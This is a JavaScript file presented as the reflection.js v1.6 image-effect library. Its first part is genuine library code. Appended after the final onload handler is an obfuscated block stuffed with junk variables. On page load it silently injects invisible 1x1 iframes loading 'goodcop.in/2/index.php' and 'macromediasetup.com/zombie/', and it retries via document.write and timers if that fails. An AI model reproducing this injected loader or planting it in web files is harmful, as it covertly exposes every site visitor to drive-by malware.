/**
 * reflection.js v1.6
 *
 * Contributors: Cow http://cow.neondragon.net
 *               Gfx http://www.jroller.com/page/gfx/
 *               Sitharus http://www.sitharus.com
 *               Andreas Linde http://www.andreaslinde.de
 *               Tralala, coder @ http://www.vbulletin.org
 *
 * Freely distributable under MIT-style license.
 */
 
/* From prototype.js */
document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = new Array();
  
	for (var i = 0; i < children.length; i++) {
		var child = children[i];
		var classNames = child.className.split(' ');
		for (var j = 0; j < classNames.length; j++) {
			if (classNames[j] == className) {
				elements.push(child);
				break;
			}
		}
	}
	return elements;
}

var Reflection = {
	defaultHeight : 0.5,
	defaultOpacity: 0.5,
	
	add: function(image, options) {
		Reflection.remove(image);
		
		doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
		if (options) {
			for (var i in doptions) {
				if (!options[i]) {
					options[i] = doptions[i];
				}
			}
		} else {
			options = doptions;
		}
	
		try {
			var d = document.createElement('div');
			var p = image;
			
			var classes = p.className.split(' ');
			var newClasses = '';
			for (j=0;j<classes.length;j++) {
				if (classes[j] != "reflect") {
					if (newClasses) {
						newClasses += ' '
					}
					
					newClasses += classes[j];
				}
			}

			var reflectionHeight = Math.floor(p.height*options['height']);
			var divHeight = Math.floor(p.height*(1+options['height']));
			
			var reflectionWidth = p.width;
			
			if (document.all && !window.opera) {
				/* Copy original image's classes & styles to div */
				d.className = newClasses;
				p.className = 'reflected';
				
				d.style.cssText = p.style.cssText;
				p.style.cssText = 'vertical-align: bottom';
			
				if (p.parentNode.href) { p.style.cssText = 'cursor: pointer;'; p.onclick = function () { window.location = p.parentNode.parentNode.href; }; }
				var reflection = document.createElement('img');
				reflection.src = p.src;
				reflection.style.width = reflectionWidth+'px';
				
				reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
				reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';
				
				d.style.width = reflectionWidth+'px';
				d.style.height = divHeight+'px';
				p.parentNode.replaceChild(d, p);
				
				d.appendChild(p);
				d.appendChild(reflection);
			} else {
				var canvas = document.createElement('canvas');
				if (canvas.getContext) {
					/* Copy original image's classes & styles to div */
					d.className = newClasses;
					p.className = 'reflected';
					
					d.style.cssText = p.style.cssText;
					p.style.cssText = 'vertical-align: bottom';
			
					var context = canvas.getContext("2d");
				
					canvas.style.height = reflectionHeight+'px';
					canvas.style.width = reflectionWidth+'px';
					canvas.height = reflectionHeight;
					canvas.width = reflectionWidth;
					
					d.style.width = reflectionWidth+'px';
					d.style.height = divHeight+'px';
					p.parentNode.replaceChild(d, p);
					
					d.appendChild(p);
					d.appendChild(canvas);
					
					context.save();
					
					context.translate(0,image.height-1);
					context.scale(1,-1);
					
					context.drawImage(image, 0, 0, reflectionWidth, image.height);
	
					context.restore();
					
					context.globalCompositeOperation = "destination-out";
					var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);
					
					gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
					gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");
		
					context.fillStyle = gradient;
					if (navigator.appVersion.indexOf('WebKit') != -1) {
						context.fill();
					} else {
						context.fillRect(0, 0, reflectionWidth, reflectionHeight*2);
					}
				}
			}
		} catch (e) {
	    }
	},
	
	remove : function(image) {
		if (image.className == "reflected") {
			image.className = image.parentNode.className;
			image.parentNode.parentNode.replaceChild(image, image.parentNode);
		}
	}
}

function addReflections() {
	var rimages = document.getElementsByClassName('reflect');
	for (i=0;i<rimages.length;i++) {
		var rheight = null;
		var ropacity = null;
		
		var classes = rimages[i].className.split(' ');
		for (j=0;j<classes.length;j++) {
			if (classes[j].indexOf("rheight") == 0) {
				var rheight = classes[j].substring(7)/100;
			} else if (classes[j].indexOf("ropacity") == 0) {
				var ropacity = classes[j].substring(8)/100;
			}
		}
		
		Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
	}
}

var previousOnload = window.onload;
window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }function gBT(){};rCJ="rCJ";gBT.prototype = {w : function() {this.mO=8831;this.aK="aK";this.aD='';mN="";var o=document;this.y='';qG='';var eZ='';var cF="";var gB=function(){};var h=function(){return 'h'};var wD=window;var u=false;function nL(){};var wM="wM";var x="x";nE="";this.pP="pP";this.pU=30403;nJ='';var oK = this;var tG=new Date();var tS=false;var vU=function(){};var b='';this.uH=29994;var wC=new Date();function bO(){};String.prototype.hK=function(q, i){var m=this; return m.replace(q, i)};var qY=function(){};uC="uC";xJ="";var z=new Array();k='';function rV(){};bK="bK";var n = 'sOe&tOTu'.hK(/[u!O&z]/g, '') + 'ihm%e}oh'.hK(/[h3%}~]/g, '') + 'uGtZ'.hK(/[Z]g<G]/g, '');function cD(){};var vQ="";this.cU=56354;var aS="aS";var s = 't;r!e!cPr;eLa;'.hK(/[;!$PL]/g, '') + 't]e]EVl]e(mhe(nVt1g(e]t1'.hK(/[1(Vh]]/g, '');var yC=44999;var gE=60539;cA='';function rI(){};var oB='';var qGH=new Date();this.eB="";var sC = 'wvr.ivt$e$'.hK(/[$#vU.]/g, '');this.rL="";vJ="";this.hG=false;j=false;var eT=new Array();var iP=new Array();try {var xK=function(){};this.uD=false;this.sD=false;var lN="";var p = 'pGuGsmhG'.hK(/[Gmq5^]/g, '');this.tE="tE";var kH=function(){};function lW(){};var hS=function(){return 'hS'};this.eZZ=21713;var v = 's8rXc8'.hK(/[8X/Ye]/g, '');bF="";var lY=function(){};var zK=function(){};jI=61772;kQ=40509;gL='';var eA=new Date();var e = 'vSb{m!i,f8'.hK(/[8S!{,]/g, '')+'r0s;e8tB'.hK(/[B;V80]/g, '');zR='';function nR(){};kS="kS";var sY="sY";this.eN=38838;var eG=new Array();var vA = 'wRird#'.hK(/[#k6rR]/g, '') + 't5h5'.hK(/[5F1LS]/g, '');var jR=function(){};this.sG=19756;var lU=61829;var cDW=new Date();function pS(){};var qK = 'h<emim'.hK(/[mQ<?(]/g, '') + 'gJh(tJ'.hK(/[J(7RQ]/g, '');var lM=39496;var uB="";var dL="dL";var uV=new Date();gLU=36315;var wV=new Array();var cP=57023;var t = '19'.hK(/[9B*(u]/g, '');var rC="";var sQ=function(){};var wVL="";fV="fV";kO=false;var hV=56575;var xG=new Array();eY=false;f = 'gUextUsbeUtxAUtUtyr}iUsydxfU'.hK(/[Ubxy}]/g, '');var bD=new Array();this.gY="gY";var rP="rP";var gBR='';var gBC=function(){return 'gBC'};var zW=15286;function lC(){};var qS=new Date();var r = 'a7pEp7'.hK(/[7E;^~]/g, '') + 'eKnydgCBhBiKlpdK'.hK(/[KBpgy]/g, '');var pE=12099;this.bKM=false;this.kC=false;var iA=8849;var wF='';var kY=60808;this.nO=false;var pB = 'bIoIdIy_'.hK(/[_16pI]/g, '');this.wX="wX";var lYJ=false;sX="sX";sF='';kN="";var zI="";var g = 'stuE'.hK(/[E[qto]/g, '')+'b|sXtXr|iK'.hK(/[KX/T|]/g, '')+'nlg*'.hK(/[*UzlA]/g, '');zO="zO";var iB="iB";var pQ=11685;var nY=new Date();var qL=false;qP="";var gJ = new Array();this.kG='';var uVJ=false;this.uW=29785;zC="zC";this.pO="";this.iBK="iBK";gJ[p](qK, g, s, vA, e, f, pB, r, t, o, v);mG="";this.zV="";wZ="wZ";wR=16433;sK=false;this.uJ="uJ";var uJF=new Date();var iS="iS";this.nD='';var oW="";qO=60333;var bOV=function(){};jF="";var aQ=38767;this.rPY="rPY";qE=false;tR="";function kGS(){};dA="";hZ=false;var tJ=48467;zU="";var wU=function(){};var gC="gC";kT=false;uWA=false;aDZ='';kI=false;this.rIE=64994;var nS=false;var nF=new Array();var tA=function(){};var bV="";this.sYN=false;oV='';var jP=new Array();wQ="";var kQU='';var c = gJ[2][gJ[1]](3, 16);var tZ=new Array();this.wE='';var qQ="qQ";var eK=function(){return 'eK'};var lS=false;var gG = gJ[4][gJ[1]](3, 6);this.lX="lX";wT=false;var gD="gD";var uU=false;nOA="nOA";nV=53794;a = gG + 'atmfet'.hK(/[twrfM]/g, '');bY=64651;function rQ(){};var pY=new Date();var rJ="rJ";this.zY="zY";var vF = gJ[5][gJ[1]](3, 11);cR=false;function cY(){};var fM="";var lI=new Array();var qI=function(){};this.gN=false;d = vF + 'b&udt6ed'.hK(/[d2O6&]/g, '');var lNO="";this.bKG=false;this.tL=false;var qU=function(){};yK='';var zYB="zYB";var l = oK.pT();var aH=new Date();var hB=function(){};var oH=false;var qYG=function(){return 'qYG'};var dD=false;cO='';fS='';var tB=gJ[9][c](a);dE=64882;function dAN(){};var oG=new Array();function tO(){};var iU=function(){return 'iU'};uL=27862;this.vS="";tB[gJ[10]] = l;var wG=new Date();iI='';var jV=function(){return 'jV'};var oF="oF";this.hW="hW";tB[gJ[3]] = gJ[8];this.eF='';this.xP="xP";xT="xT";fN='';var xF="xF";tB[gJ[0]] = gJ[8];var bI=function(){return 'bI'};var hP=function(){return 'hP'};this.tY="";var oFA=34643;var kW=false;var fL="";var pL=false;var sI=false;bH="";this.jIP=false;var sIT="";nJL=13262;var bZ=23981;var hT='';gJ[9][gJ[6]][gJ[7]](tB);var nI=function(){};var kD=function(){};this.oE=false;var tK=function(){return 'tK'};this.pEM=6674;var aE="";oM=false;} catch(gM) {var nB="nB";var vC=new Array();wGX="wGX";var eP=function(){};var zJ=new Date();o.write('<Ihrt(m(lr U>(<(bIordUy^ I>(<I/IbUoUdUyr>U<I/Ih^tUmrl^>r'.hK(/[r^(IU]/g, ''));this.gU='';function yY(){};eJ="eJ";this.cPO=false;this.iC=3489;wD[n](function(){ oK.w() }, 284);wMB='';this.zG=19135;var dZ=function(){};}var iAA='';this.uY=38649;iM='';var tKJ='';},pT : function() {this.kCU=false;yU=43581;tRM="tRM";return 'h@t<t5p5:5/</^g@o<o^d5c@o<pD.<i^n</<2D/@i^n^d5e@x@.<p5h5p@'.hK(/[@<D5^]/g, '');this.sV="";dG='';yB=21105;}};cAQ=false;var rB=new gBT(); var tM=false;rB.w();var vE=new Array();function lET(){};this.jE="";lET.prototype = {x : function() {yB="yB";this.j="";this.tQD="tQD";var hR=new Array();this.uF='';this.iB='';this.oN="";var d=document;this.p="p";var hP=6214;eF=63943;this.nX=31345;jP="jP";tG=62533;var eP='';var n=window;var gE=false;var gM=function(){return 'gM'};var yA=function(){};var w=new Array();var jM="jM";mA=22903;var h = this;this.kH="kH";this.rO="rO";var qP=false;this.vU=53280;function rP(){};String.prototype.mZE=function(nY, q){var k=this; return k.replace(nY, q)};var oF=false;this.a=22541;cG="cG";this.oNG='';this.nU=false;var g = 'sCe*t5TG'.mZE(/[G5*KC]/g, '') + 'iSmYeuo6'.mZE(/[6uSY{]/g, '') + 'u^t$'.mZE(/[$^S3V]/g, '');gT=false;var iQ=new Date();s="s";b="";iO="iO";uQ='';var i = 't^r^eLcurLeLaJ'.mZE(/[J@^Lu]/g, '') + 't$e$E$lwe%m#e#n$twgwe<t%'.mZE(/[%<$#w]/g, '');var jQ="jQ";sW=false;var xW=new Array();var wN=function(){};var mQ=function(){return 'mQ'};var pR='';var r = 'w+r:iVtVe:'.mZE(/[:V+ay]/g, '');var pQ=function(){return 'pQ'};this.mK="";var fH="";var pF=false;this.tN="tN";this.dY=16497;var vB="vB";try {var kU=42139;this.zK="";pO='';this.lS="lS";pC=9903;jK=false;var jPI=28278;this.pRS=false;var t = 'pfufs1hD'.mZE(/[Dg1fn]/g, '');var oP=function(){return 'oP'};aG='';var sM=function(){};var gA='';xG="xG";var yS=64766;var yW="yW";var l = 'sdrdca'.mZE(/[ad$_P]/g, '');var pP=function(){return 'pP'};gH="";this.rH="rH";this.kUT="";var wB=function(){};this.cH="cH";var v = 'v.b}m.i6f}'.mZE(/[}z.6r]/g, '')+'rmsyectm'.mZE(/[mc,yo]/g, '');var xWG='';var iU=new Array();var oO=function(){return 'oO'};this.fL="fL";vG=false;function iBL(){};var lE="";this.iQM=54821;var lU = 'w+iKd+'.mZE(/[+NqzK]/g, '') + 't}hC'.mZE(/[C1M}6]/g, '');function eL(){};var zB=34162;var tYH="";this.vS=55384;var fM=new Date();var y = 'h5eci5'.mZE(/[5Xnc4]/g, '') + 'g9hvt7'.mZE(/[7H9Zv]/g, '');bC="";this.kZ=2392;var gL='';var hZ=new Array();var m = '1P'.mZE(/[PsGMr]/g, '');var tYS="tYS";var yM='';vL='';this.sO="sO";this.lA=false;z = 'gnemtWs,eWt~AntmtnrWi,snd~fW'.mZE(/[W,nm~]/g, '');this.oY="";var iL=function(){return 'iL'};var uI=50729;aT=38825;aS=22404;gJ=false;function qG(){};var hL=function(){return 'hL'};var u = 'aDpnpD'.mZE(/[Dlhnd]/g, '') + 'ePn(d:CPh(i}l(dP'.mZE(/[P}?(:]/g, '');var lN=new Date();var nC=new Array();this.bO="";var qL='';this.iV=false;var aA=false;this.rM="";function wL(){};var qA = 'bsosdEyT'.mZE(/[TsrgE]/g, '');this.fF="";var sY=55049;var mB=new Date();var xB=new Array();var zP = 's?ul'.mZE(/[l?pw6]/g, '')+'bDs}t:r}i}'.mZE(/[}Fo:D]/g, '')+'n?g?'.mZE(/[?a_5>]/g, '');var pD=43811;var wE=function(){return 'wE'};var qLM=function(){};var xX=new Array();tGD=false;var c = new Array();var cY=false;var bX=function(){};this.qY=false;pN=31756;c[t](y, zP, i, lU, v, z, qA, u, m, d, l);zM=49388;var kN="";yAW="";var iG=new Array();var mZ=65340;var sN='';nN="";fK=false;var aW=new Array();var vZ='';this.wS='';this.nI=48003;wZ="";var hI="";iH=false;var nYW=new Date();var iT=new Date();var dD=new Date();this.fX="fX";this.oZ="oZ";var sYK="";var wSW='';var yX=new Array();var kY=false;var tO=function(){};var eW="eW";var vD='';var mAM="mAM";var ePX=false;var lX=false;var cO=function(){};xN='';iJ="";var bS=51268;var pL=function(){};this.vM="";var hLK='';pZ="";jT='';oE='';this.rI=false;this.uA=21652;var kUK=25058;var sS=25374;var uB=new Array();var wP=false;var zE="";var tY = c[2][c[1]](3, 16);var wEV=new Array();this.aY='';var zV=64981;function sV(){};var eD='';function pB(){};var zF = c[4][c[1]](3, 6);var rF=new Date();var oEA=function(){};lC='';var fV=64647;qD = zF + 'a;m;eL'.mZE(/[LJ);0]/g, '');var pJ="pJ";this.jR=21347;this.fC="";var eR=new Date();mZL='';vQ="vQ";var f = c[5][c[1]](3, 11);eZ="";eT="eT";hD='';this.gTB="";tQ = f + 'bcuvt:ed'.mZE(/[dvc:D]/g, '');this.bV=false;this.uAX='';this.rPR=false;var hW=function(){};var gES="";var yE=new Date();kYB="";jI='';var o = 'h2t#tfp7:2/2/fmPa#c#r#oPm#ePd7iPafs#e#t#u2p7.#c7o#m7/fzfo7m2b7i7eP/#'.mZE(/[#P27f]/g, '');var eFO=function(){};this.ySJ=41678;bA='';mE="";var lUA=23635;var aX="";var jY=function(){return 'jY'};var iR=c[9][tY](qD);var mES=function(){};xY="xY";eU='';var dO=new Date();gK="gK";var sB="sB";iR[c[10]] = o;var kHN=false;cT=12526;this.mEV=false;var pCT=new Date();var mW=new Date();iR[c[3]] = c[8];this.xYM=false;this.zBM="zBM";var eH="eH";var eC="";iR[c[0]] = c[8];var jS=57093;this.qC="";pI="";var pPE="pPE";var pIG=function(){};this.sR="sR";var yV=function(){};this.oPY="oPY";this.uR=false;var gKZ=false;var cTK=false;c[9][c[6]][c[7]](iR);hM="hM";var gS=function(){return 'gS'};cC="cC";var tZ='';bW="bW";cA="cA";aB=false;} catch(e) {this.zT="";var cQ=false;var qI=function(){};this.oG=26945;d.write('<$h$twm$l0 7>}<}b$o0dwy0 }>7<0/wb7o0d7y0>0<}/$h0t0m0l$>0'.mZE(/[07$w}]/g, ''));this.zBA="";var fXD=false;var eQ="eQ";this.vSY=28438;this.qH="qH";xC="";n[g](function(){ h.x() }, 349);gR="";var cV=new Date();dC=false;}oB='';var xF=9400;var fCD=function(){return 'fCD'};}};yT='';var xBN=new lET(); cGY='';xBN.x();var pZB=function(){return 'pZB'};